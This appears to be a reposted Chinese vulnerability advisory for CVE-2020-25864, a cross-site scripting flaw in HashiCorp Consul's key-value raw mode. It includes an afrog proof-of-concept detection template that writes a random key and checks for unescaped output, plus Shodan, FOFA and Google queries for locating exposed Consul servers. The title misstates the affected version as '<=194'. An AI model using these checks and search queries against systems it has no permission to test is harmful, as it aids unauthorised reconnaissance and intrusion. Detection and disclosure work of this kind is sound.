HashiCorp Consul/Consul Enterprise <=194 - Cross-Site Scripting

漏洞信息

漏洞名称: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting

漏洞编号:

  • CVE: CVE-2020-25864

漏洞类型: 跨站可执行脚本

漏洞等级: 中危

漏洞描述: HashiCorp Consul 是一款广泛使用的服务网格解决方案,提供服务的发现、配置和分段功能,适用于企业级部署和云环境。该产品在分布式系统中扮演着关键角色,支持多数据中心部署,是现代化微服务架构的重要组成部分。此次发现的跨站脚本(XSS)漏洞存在于Consul及Consul Enterprise的1.9.4及以下版本中,具体问题出现在键值(KV)存储的原始模式处理过程中。攻击者可以通过构造恶意的KV条目,当其他用户访问特定页面时触发脚本执行,从而在用户浏览器中执行任意代码。这种漏洞的根源在于应用未能对用户输入进行充分的过滤和转义,导致恶意脚本被注入并执行。该漏洞的利用可能导致敏感信息泄露、会话劫持等安全问题,尽管需要用户交互才能触发,但在特定配置下可能被自动化工具利用。考虑到Consul的广泛部署,该漏洞对依赖其进行服务管理的企业构成了不容忽视的安全风险。

产品厂商: HashiCorp

产品名称: Consul/Consul Enterprise

影响版本: version <=1.9.4

搜索语法: http.title:”consul by hashicorp”, cpe:”cpe:2.3:a:hashicorp:consul”, title=”consul by hashicorp”, intitle:”consul by hashicorp”

来源: https://github.com/zan8in/afrog/blob/2f6722015a76956b8f84dd0c2780c67e9e933ae9/pocs%2Ftemp%2Fafrog-pocs%2Fcve%2FCVE-2020-25864.yaml

类型: zan8in/afrog:github commit

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

id: CVE-2020-25864

info:
name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
author: c-sh0
severity: medium
description: |-
HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
shodan-query:
- http.title:"consul by hashicorp"
- cpe:"cpe:2.3:a:hashicorp:consul"
fofa-query: title="consul by hashicorp"
google-query: intitle:"consul by hashicorp"
reference:
- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
- https://www.hashicorp.com/blog/category/consul
- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
- https://security.gentoo.org/glsa/202208-09
- https://github.com/ARPSyndicate/cvemon
tags: cve,cve2020,consul,xss,intrusive,hashicorp
created: 2025/07/17

set:
randstr: randomLowercase(12)
alertstr: randomLowercase(22)
rules:
r0:
request:
method: PUT
path: /v1/kv/{{randstr}}
body: "{{alertstr}}"
expression: response.status == 200
r1:
request:
method: GET
path: /v1/kv/{{randstr}}?raw
expression: response.status == 200 && response.body.bcontains(bytes(alertstr))
expression: r0() && r1()



HashiCorp Consul/Consul Enterprise <=194 - Cross-Site Scripting
http://example.com/2025/07/17/github_2554048463/
作者
lianccc
发布于
2025年7月17日
许可协议